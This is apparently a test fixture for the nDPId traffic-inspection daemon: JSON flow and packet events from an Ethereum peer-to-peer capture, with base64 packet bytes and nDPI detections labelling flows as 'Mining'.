+00429{"flow_id":25,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":713299,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGCO\/AqAG4MyY8T901dl\/qiNS9vMNL7YAQECFiVgAAAQEICiLYlQRhOp3M"} +00429{"flow_id":25,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":713303,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGCO\/AqAG4MyY8T901dl\/qiNS9vMNMDYAQECBiNwAAAQEICiLYlQRhOp3M"} +00429{"flow_id":25,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":713304,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGCO\/AqAG4MyY8T901dl\/qiNS9vMNMDoAQECBiNgAAAQEICiLYlQRhOp3M"} +00429{"flow_id":25,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":713305,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGCO\/AqAG4MyY8T901dl\/qiNS9vMNMEIAQECBiNAAAAQEICiLYlQRhOp3M"} +00429{"flow_id":25,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":713322,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGCO\/AqAG4MyY8T901dl\/qiNS9vMNMLoAQEB9iFwAAAQEICiLYlQRhOp3M"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":237,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1578508364714,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"82.145.220.249","src_port":56633,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":714836,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGSM3AqAG4UpHc+d05dl+ffKVSAAAAALAC\/\/\/0ywAAAgQFtAEDAwUBAQgKItiVBQAAAAAEAgAA"} +00440{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":717778,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAACMGVBhoKtkZwKgBuHZf3SMhYrdg7BRmI6AS\/ohxlQAAAgQFoAQCCAru0q\/IItiUTwEDAwc="} +00428{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":717893,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGNyDAqAG4aCrZGd0jdl\/sFGYjIWK3YYAQEAmOFAAAAQEICiLYlQju0q\/I"} +01096{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":719135,"pkt_caplen":556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":556,"pkt_l4_len":522,"pkt":"EBMx8Tl2KDc3AG3ICABFAAIeAABAAEAGNTbAqAG4aCrZGd0jdl\/sFGYjIWK3YYAYEAln5wAAAQEICiLYlQnu0q\/IAegEP2pezgVKWt8J8LrduXpDyCo1FSJyTyJ5lbbH7EMZGv5G3Ivb1Abhvkw0dCEBVV6UxMSYllHcXVIlysO4yRAJrD5b3f1+VOKSoFLSg1WcmxxEFO5pnU9HGIUQEJOaDwrvCvMmNd\/GyeuIehvlbz29a4IXVRSSdhfjxmtwfJH+UkHpQ4uA18eIcetGchNx7gI7Oz0jMukXSf6+fHPd5WzMA+QkRtKtiOA\/Ie9P0PHPpHyImbvmHyYsAnQAyF4U1Vv15ymELSbMPh6zJQBf6IEP1\/CsQtKLagSDJKpl3a0jUjZwfj\/oq5+fdfqdkyAe+2Dk+tJ3lqwB+Dn4UKkYaFJ02\/UB95EcD\/zFU66a5SFkLQDvY3+vcobTa\/lD7OTd6xDAWEFP2BjNtfPoRyhVmxGgL4bywwcRwT6f1g2LccJsDy4U775nSR0Ycq1gnFsOfvC1Y9DaUuFcWbL7Z3JghsVJzD7MutydGKoI2UvduWqCdBRnpaAxRMcAZl5TC\/i+u2g5IW+pDMOuiS2ibZEmMWOlF4ZWAnJCS4GUFO1bcjbhwDALyFMTF0NZdpp8BmB793G\/lfe5Ar+ZIMVJs8CawDm2xKMURTt++U3mblRrsMZgCuWrzMqnUgZd5lFo1bOfVXFU2qOsmJmGig=="} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":240,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":4,"flow_first_seen":1578508364522,"flow_last_seen":1578508364719,"flow_tot_l4_data_len":638,"flow_min_l4_data_len":32,"flow_max_l4_data_len":522,"flow_avg_l4_data_len":159,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"104.42.217.25","src_port":56611,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +01830{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":729181,"pkt_caplen":1097,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1097,"pkt_l4_len":1063,"pkt":"KDc3AG3IEBMx8Tl2CABFAAQ7gO1AADART9iAADOMwKgBuHZfdl8EJxcg9PffAeslidE0A2XYKUWPfQSrSzELT24RQsZMkDFAUC\/8t71UobxaKgVF9YFxtOS9Li4RLrxMDnrT4k5PGgw2NDHZtKrKg8J\/d2YlScEj\/YBR+sG3bhx8yqSCwFLu+QmtAQT5A7r5A7L4TYRQniRSgnZfgnZfuEDy+3Y1qZpk8\/KZSHkhI\/dUtq2PmnojEAJ+pvc2bi3A23IJ6RM8OAW49hm6EgP+nw9QrdJ1FOvq3+1MzaqVwKmC+E2ETi\/CnoJ2X4J2X7hA+Q4zg2oOekCIJoV1y\/ualFI8sA2WiSVXjBsUf\/fkEaUBa4ucL3qlgbfTJJpR6RtQSjEN0kW4Om6HGzu56xhcP\/hNhF6CJvWCdl+Cdl+4QCa0AdVA2\/h5KxbzG7wSXhKLcgLDQf3VZM6j4pcDpEr22I0w8vjr3eeZrANzqy+B0k7Jw6sj9qOYOkYu9v1\/HcL4S4QXZGXDgsVFgLhA4dMHiHESZvaZv5XwOSEg7GIAhtTuq\/1+kuZamW7NEWy5Mx7jYjqriPSY+yi8MCrIJ809xx8ts8E05ybrI5RK9vhNhHTKaT+Cdl+Cdl+4QNscTNh1YzVnvcLB2a2lU2bz3gyaTlXXbE+pFLDVoDdFI5ADpod42cruH9wQt79YZLxlJa01FygTlV6X9wnzbsb4TYRSpWAfgnZhgnZhuECxFAegsyOgyfrql\/zztxCELDSekbbhUJf21H8iSNiW9cKP2xirrTz8RKLVHxNA2LkFNcMF8l9m+GUUJJ3wo0ve+E2EZ\/0rzIJ2X4J2X7hA0+1Q\/zfDwmqiJ4L7\/yvPXaADca3\/aoKeqi6XasejIDSTPmS2ILmdZ2LgwWGNQRAtsR66VqR5PIUppHE6JTXzu\/hNhC9aDGqCdl+Cdl+4QEWucUJTr5uswusybUrNZinvmACa+spHP3M8Ca80aMiKTDP2An9QqqbsJgkcvDnFqQSdwmVB0j3FFWWOWXchmBH4TYQ03B+BglLcglLcuEC4ECYNzxwi2kJoJQjyJ6lUniuRlC+UndNWqAZRufW0X533Ymm1WtW8x0w\/1eGqPwGeOGNfU57w7mmrZv5S0MuC+E2EoBCKUoJ2X4J2X7hA7pvrsi4uzujUwcCnzbOXM3k+PSTxp6vSaGlZ+vjNNS2DLnFg12pt76j1a3+aMxZ2sjeuJ4ACTqyhbBihj1yObfhNhLB96meCdl+Cdl+4QMGwHxHg22IaagGZCrHWyox4ceWSrkz5+TUJ7FvSKEAsyUrKnBQ1BKg4U4OyDXv653Ump5Su2Klg\/PAjth\/4FVX4TYQDCFzcgnZfgnZfuEAOe5LjgOGocDnrwWucrGwohrnh\/PIVvUNi2EPcxA3lL9o2I1kGKrrcltIHdy07g5GmzReWD9IntTCd9ncDRnHuhF4WIGA="} +00970{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":729798,"pkt_caplen":467,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":467,"pkt_l4_len":433,"pkt":"KDc3AG3IEBMx8Tl2CABFAAHFgO5AADARUk2AADOMwKgBuHZfdl8BsUbFE+HTPyEyomNSay73CyfrLD8rHnhX7vxj92G3He3rB8i3yggvxA3gI120fMxC8T5NSVg69zUML0xXdXDn6x+i1UJlYzm2ZsL8HkXRcVxsD7\/Cz8uc2cDeR5GmI31rs3BBAAT5AUT5ATz4TYRWzyr3gnZfgnZfuEAwPG4npPFCKterF6wXX6hmKDtHpPLV5Gpyh4HRvQlb1WOtMBiFa5iB1p48IlU7yQzlUhHlEKU2TAWk+UxWCOtE+E2EwKkGMYJ2X4J2X7hAXDWjwnntCdEfY7ZsbIcma6dZim0sS\/6AZlg+cBMsOylaupmT4K85DC7A88jAAB9\/AkNP7Q7FRuWOzTw655z20fhNhF\/YD6SCdl+Cdl+4QMhe7o3oH5yNMBpAbg7BFfLQiRhzAx0IcRlGupvV\/Zui89t4l4x5tGAZhBv4cgNKbiHVFqGfCeCtDh7KA5ZNUtn4TYQ2yX4zgnZfgnZfuEBWXo894U5qji3Sd9oPTupJEBwpi5JkOWop7uGO9PMehSCnS4eHg4+tauk7NJIwG19teeCjKxS93DtycMhLIWGEhF4WIGA="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":254,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1578508364732,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"111.229.0.180","src_port":30303,"dst_port":20182,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00571{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":732443,"pkt_caplen":170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":170,"pkt_l4_len":136,"pkt":"EBMx8Tl2KDc3AG3ICABFAACccxcAAEAR1EDAqAG4b+UAtHZfTtYAiDTvS0gyrIvyYAXql+rzEz+AR\/cLOiJor5McpZ3aQTzvVtbxvdlPVHOvm8x2T63kxRajQJXVXM7hf79y1fQG9XWokxXgcqkKLlUPoIFVVYrTntTkZjbBJdoltYqy5v2xN8\/CAAHdBMuEfwAAAYJ2X4J2X8mEb+UAtIJO1oCEXhYgYAU="} +00550{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":254,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1578508364732,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"111.229.0.180","src_port":30303,"dst_port":20182,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00438{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":751141,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAACsGCIIzJlG0wKgBuHZf3ThkB68VWi0AlqAScSALcgAAAgQFrAQCCAqBHInXItiU5gEDAwc="} +00426{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":751248,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG84nAqAG4MyZRtN04dl9aLQCWZAevFoAQECya6gAAAQEICiLYlSaBHInX"} +01080{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":752659,"pkt_caplen":545,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":545,"pkt_l4_len":511,"pkt":"EBMx8Tl2KDc3AG3ICABFAAITAABAAEAG8arAqAG4MyZRtN04dl9aLQCWZAevFoAYECzuoQAAAQEICiLYlSeBHInXAd0EVrOafIpouoTHB+BW2z3Lrv3HnCw2ZQBRlgf\/19WqTwFOA04VbQy1wFUS6HAgPfHy8NaOV77ZdRJTSAq8L7x6Kw4II\/hUO4r9f51nr5zJtR+NmQtihw\/oG2toqeE2gmxFBm\/FJEAZ3BhAyklgcpYoSgeZNb37AeD8R7SxXsV96FZAMTuwUePPPwvKLx3F3XQBJXGqmL8ZZ4kHijHRXepMXtDyrqQ3dHLW36bgCyBffbPJwK11VIZBOg1ZO\/6QcCJyM8WU+cI0sTPBasm4PzbCQgYhaSkC8C0ehkpBDkbMoXij9k0WKFOVrIEsyZ\/24n+unHUtTe\/yYV6dUpEywFRJGupzIBFEQIrlJ+R7y5h8fxbPkC6UiykbmNIdFoDGxOiSYBL3yeK7GSTvjks9NeQTQC1eqeVk6U54EyDTlZ2t2cddwvBBj+fMzUkesX+MlQsGkokjFLEpHTsTH4jgy5EiQVvgHqBHad7G9fBM4q3K7UQYmh0hkSGogPuWCsrTo\/YkV2pbe8nJuLqnzRBnEBsCwsw9rDIf0YsG5\/lfaKRt7lzM\/aZlRjLHsqGkZkpqrfD7R6MXqp\/xig+JCvg0MFvDNMp3tp3C7Lm+dgS5zbrMV4EKIIIpgqxAKcHEra4="} +00560{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":264,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":4,"flow_first_seen":1578508364682,"flow_last_seen":1578508364752,"flow_tot_l4_data_len":627,"flow_min_l4_data_len":32,"flow_max_l4_data_len":511,"flow_avg_l4_data_len":156,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"51.38.81.180","src_port":56632,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +01936{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":773663,"pkt_caplen":1178,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1178,"pkt_l4_len":1144,"pkt":"KDc3AG3IEBMx8Tl2CABFGASMuzZAAC8R8ro2JKDTwKgBuHZfdl8EeHOhfS8\/VKeU4xriCeJZNmbyiR29m3N42\/uIKvLbiJlgdyaSwrO2BgcDcenrD2C97edthDBouwifboHgE3u3hLHcQi8I2aNx02z5+NzOkszQMNgplhV2V\/wYwtE8G8IvYQ3cAAT5BAv5BAP4TYRPFs69gun3gun3uECCARRJlalZmbRgrccKpmIFHuwcnfCnxRI\/PJfvccahZWq2zhSNF3xN8PFm4Ig97uMj8JcxYkHuXulMILJ8m+Dx+E2E0WGPAYLDUILDULhAQhNvCoDxAncltx4bh9WffZwzBdE\/9xF06wXJo57MMUhoLLSI90CIePrV\/tYmYiKEiyDSrJDYOlCFHmZ3pqDCwfhNhGoMJ6iCdn2Cdn24QH6QBf7Np\/9Y+eiOrugFzIsIhVcNcp\/OYct+34QkqEfvlXbuNfWnoEs1IzwGORRl6zR7xwwZW1+45dnGnJxxFET4TYTAnuIugnZfgnZfuECuDYcQjm3wJMglum1qnPXPBozHysGZ9VxiaJNnx\/kw7dAhqZoxI6CdfBdLdPaGhgI412g7XwrxymiHNjtEpybV+E2Eb+UAtIJO1oJO1rhA0poa9\/bt4+0jT09hYxZaiqxOAEVZVX85K1bHaaj2apLnzPtOIrzfKJurvUFlKLQJKx6TBvhnKvyePnNB3SaoJvhNhKSEZZ+Cdl+Cdl+4QGhplCUf+0AxOYQ0\/JiK92IrqpcWVPF77+npw8uqJp6XsPoEUGJFdkdpzDehQ5oaTj67fZbU0xSOgleTToHaYQj4TYSygMxlgsNQgsNQuEAJaLOKzWf\/o+pIN3tGz2TU0Jj7rRUsEu\/g\/J\/izFMRqT2L21hSkEIu4pwcRIudbxWCEi7R3jpR3Qx72SJ7sDxL+E2ELzgXtoJ2X4J2X7hAZ5DyvV4L2UjTbfMTNRlwVlkkGIIkt\/VYvYJ76IXUVE6r5fvcx+2tWoDAFaFaLZO1vJw5B3fbXfeObFaJ1qahJvhNhNFhtVyCw1CCw1C4QGNRrcySTkrIddsTkghzBE5yaZovlz823kaODYnxRULrhcdtfhDSmheK1rkdzx6MLgmWRkcqk5yLSRXbV7Sa9hv4TYSUZnN9gnQ9gnQ9uECK3QCjct4kYgqQwECFpzDV6FidxjszhMNuNu5KPckeHeVnNGRrmrvdWVqSm7NdhSk\/GBSTMV30P4Rv7pq1hSjo+E2ENL1ESYILzYILzbhAFgxun0r0zdyAC5SZb67xXu\/2hxGmSEaQZz1XosQe6902lrVgE71jlymkTkVmiGnjo+wcj5gGrpBHOVgGl5DUX\/hNhFCeJFKCdl+Cdl+4QPL7djWpmmTz8plIeSEj91S2rY+aeiMQAn6m9zZuLcDbcgnpEzw4Bbj2GboSA\/6fD1Ct0nUU6+rf7UzNqpXAqYL4TYRvYnEBgnZfgnZfuED0pW7OSkAUUx9PeHXwwyf7mqpd70LmGPSseSc9VRhmuql9pusBMDKDEfCCcSaAIW2BnfDoTpS113ylm2TbVhfWhF4WIGA="} +00864{"flow_id":29,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":266,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":773700,"pkt_caplen":386,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":386,"pkt_l4_len":352,"pkt":"KDc3AG3IEBMx8Tl2CABFGAF0uzdAAC8R9dE2JKDTwKgBuHZfdl8BYMxaEf6gK86OMmqC0hj8YCjT4Kxyd9QhLNhUWv84IcoZEEM5WLaEl0iNjPoH5MGkDBtHCCGzykqH2IyxlA4UZhPcyDumXz\/v4mlSvZfRB2yOu5AYhwCSwbpUWhfp9lpeKanwAQT49Pjt+E2EdbUsoIIrq4Irq7hAjNB3wOfdUkch\/RymD8COogkRfmtGHDZ3JfVp7qPL0g95b9d6Og4eqk7Oc5yCXUjsPCBRZNV\/OEkCcWVLTRMhqvhNhDb\/yRuCdl+Cdl+4QBkaEptJyzZcwNghsa\/yev+qS1D63n8u0YIQqdir49AX7Q7OxcqumEYHw1gpXkn8\/0NtWmRXiIMnyNsmLKeGv434TYQj3LNggnZggnZguEA4nJBTYkTqav4+upLVWlu+s2ggu8pFBH5psWcuz5eAhJOcvW7tSncGp+spv2HIMW\/j4SK81taE+f1zSPKQGx8uhF4WIGA="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":267,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1578508364776,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"209.97.143.1","src_port":30303,"dst_port":50000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00572{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":776411,"pkt_caplen":170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":170,"pkt_l4_len":136,"pkt":"EBMx8Tl2KDc3AG3ICABFAACc6zkAAEARbFTAqAG40WGPAXZfw1AAiAuoYX\/X5Uw4lffkPNHSCMW6SrDFB88ojJJssa\/u4MiJ7ftgjBcFdVPuw+tvNym45804Q6\/uLh0oQsOr0riQp0FxmC7+mATc88CsFLix8wyPMseFlTK290MHGwkPORWZli5hAQHdBMuEfwAAAYJ2X4J2X8mE0WGPAYLDUICEXhYgYAU="} +00549{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":267,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1578508364776,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"209.97.143.1","src_port":30303,"dst_port":50000,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00440{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":784751,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAACsGswg056VswKgBuHZf3SosjczmxQv4NKAS\/ohsIgAAAgQFoAQCCApgPx7\/ItiUTwEDAwc="} +00429{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":784843,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGnhDAqAG4NOelbN0qdl\/FC\/g0LI3M54AQEAmIYgAAAQEICiLYlUdgPx7\/"} +00440{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":786203,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAAC0GKKu\/6qLGwKgBuHZf3SxpEHBBX7euwaAS\/ohj6AAAAgQFoAQCCAo0GJnqItiUTwEDAwc="} +00426{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":786273,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFbPAqAG4v+qixt0sdl9ft67BaRBwQoAQEAmAJwAAAQEICiLYlUg0GJnq"} +01038{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":786351,"pkt_caplen":516,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":516,"pkt_l4_len":482,"pkt":"EBMx8Tl2KDc3AG3ICABFAAH2AABAAEAGnE7AqAG4NOelbN0qdl\/FC\/g0LI3M54AYEAnlyAAAAQEICiLYlUhgPx7\/AcAEc2W5VRvDPnxC6ZNXtTyqjCYGMJUjTmjJUOUKnKosvUpjeLi1KBD9Gl0SpSGXIrkNn6C7KE279Sjg7DOSGoDz87EyUEGvUMFz5FN+U0r31bAICZnXfuq0lc9rs1kf7bNjD+ORYtLIa4UJy8enNIxPAk4HwvA+3rJiQq7bf0vBIBgSlJaEL3OkbL6PMcsY6AytCbHWwQNUqzrVKw1VPJ77xU02+dwqjsZ\/lrg1uD03lNKdyEFlGJ02BeF4E8JPm\/1hoH9nxyZ0rAyA+9TJoUNufqAtqvXZoNVAIn3u4I4vwUfjQ0cH1zU1rdHXu\/0AdLT00gIkyCjc+K8qB8caufkR1jWmZQjBGcjUMPyICieFwbw7o7SC+pa398OX2A5zUFoYFrbYryFapSZRoXkA7E7gSEMsgt4gzjFWaFDjtj0gQrWn4v5OEC3H13NYTU9aT1O3BBZjFDrxgPl5OXj6YzFyTFts2likup6YT33hM88mz1kg95ej\/aoS7kzfOq0iUWTyXKiVppXe0XEz6KhMTO1k\/fmz1CFkehBQ4QXp9fBwcm3bhXe0dq1V80Nq7Aur5aw8K3KW7Z98W\/5G+9OrMGYD"} 